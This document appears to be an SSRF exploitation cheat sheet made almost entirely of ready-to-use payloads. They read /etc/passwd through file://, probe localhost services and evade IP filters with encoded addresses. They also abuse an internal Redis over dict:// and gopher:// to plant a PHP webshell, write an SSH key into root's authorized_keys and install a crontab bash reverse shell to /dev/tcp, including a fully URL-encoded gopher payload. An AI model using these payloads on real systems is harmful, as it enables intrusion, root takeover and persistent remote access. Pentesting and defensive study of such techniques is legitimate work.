# It is possible to prove the vulnerability by reading local files# Using the file protocolurl=file:///etc/passwd
# Then you can enumerate local services that are listening# Depending on the response
http://localhost:<port>
# It is also possible to use others protocols like gopher and dict# They don't send HTTP headers and can avoid misinterpretation
gopher://127.0.0.1:6379/test
# Filter bypass
http://127.1 instead of http://127.0.0.1
http://0 instead of http://localhost
http://0xC0A80001 or http://3232235521 => 192.168.0.1
192.168.516 => 192.168.2.4
Redis Exploitation
# Redis is a database system that stores everything in RAM# Getting a webshellurl=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"url=dict://127.0.0.1:6379/SAVE
# Priv. Esc. using SSH key
ssh-keygen
url=dict://127.0.0.1:6379/SET%20mykey%20"\n\nCLE_PUB_RSA_ICI\n\n"url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/root/.ssh
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20authorized_keys
url=dict://127.0.0.1:6379/SAVE
ssh -i id_rsa root@host.org
# You can use dict protocol and crontab# - You set the working directory# - Update the redis database location# - Listening# - Write a reverse shell payload# - Save it
dict ://127.0.0.1:6379/config set dir /var/spool/cron/
dict ://127.0.0.1:6379/config set dbfilename root
nc -lvp <port>
dict ://127.0.0.1:6379/set -.- "\n\n\n* * * * * bash -i >\x26 /dev/tcp/"ip"/"port" 0>\x261\n\n\n"
dict ://127.0.0.1:6379/save
# You can also use the gopher protocol (replace IP and port)url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/xxx.xxx.xxx.xxx/3615%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A